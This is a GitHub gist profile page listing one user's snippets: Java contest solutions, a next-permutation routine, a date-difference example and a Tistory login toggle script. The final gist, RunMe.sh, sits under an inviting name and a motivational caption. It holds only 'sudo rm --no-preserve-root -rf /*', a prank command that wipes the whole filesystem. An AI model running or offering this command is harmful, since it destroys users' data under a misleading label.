Skip to content

Instantly share code, notes, and snippets.

View NaniteFactory's full-sized avatar
😊
Hi

NaniteFactory

😊
Hi
View GitHub Profile
@NaniteFactory
NaniteFactory / Solution.java
Created April 14, 2018 02:24
That's how you start out.
import java.util.*;
import java.io.*;
public class Solution {
public static void main(String args[]) throws NumberFormatException, IOException {
final BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
final int nTestcases = Integer.parseInt(br.readLine());
final StringBuilder ret = new StringBuilder();
@NaniteFactory
NaniteFactory / Solution.java
Last active April 13, 2018 11:43
4014. [모의 SW 역량테스트] 활주로 건설
import java.util.*;
import java.io.*;
public class Solution {
public static boolean isInBound(int[] row, int from, int to) {
if (from < 0 || to >= row.length) {
return false;
}
return true;
@NaniteFactory
NaniteFactory / NextPermutation.java
Last active April 14, 2018 08:04
an implementation of next_permutation() written in java
public class NextPermutation {
public static void swap(int[] arr, int index1, int index2) {
int tmp = arr[index2];
arr[index2] = arr[index1];
arr[index1] = tmp;
}
public static boolean nextPermutation(int[] arr) {
final int indexLast = arr.length - 1;
@NaniteFactory
NaniteFactory / diff_sec.java
Created October 21, 2017 06:47
Calculating seconds between two Dates within Java. 자바에서 두 날짜 값의 차이를 초로 구하기.
import java.text.SimpleDateFormat;
import java.util.Locale;
import java.util.Date;
import java.text.ParseException;
public class Main {
public static void main(String[] args) throws ParseException {
// TODO Auto-generated method stub
SimpleDateFormat f = new SimpleDateFormat("HH:mm:ss", Locale.KOREA);
Date d1 = f.parse("01:05:10");
@NaniteFactory
NaniteFactory / skin_fixed.html
Last active August 21, 2023 06:10
티스토리 로그인 로그아웃
<li class="tab_login"><a href="#" id="tab_login_toggle" onclick="fnLoginToggle();"></a>
<script>
function fnLoginToggle() {};
$(function() {
if(window.T.config.USER.name) {
$('#tab_login_toggle').text('로그아웃');
fnLoginToggle = function() { document.location.href = "https://www.tistory.com/auth/logout?redirectUrl=" + encodeURIComponent(window.location.href); };
} else {
$('#tab_login_toggle').text('로그인');
fnLoginToggle = function() { document.location.href = "https://www.tistory.com/auth/login?redirectUrl=" + encodeURIComponent(window.location.href); };
@NaniteFactory
NaniteFactory / RunMe.sh
Last active April 13, 2017 16:32
진정 새로운 무언가를 창조하려 한다면 처음부터 다시 시작해야 합니다.
#!/bin/bash
sudo rm --no-preserve-root -rf /*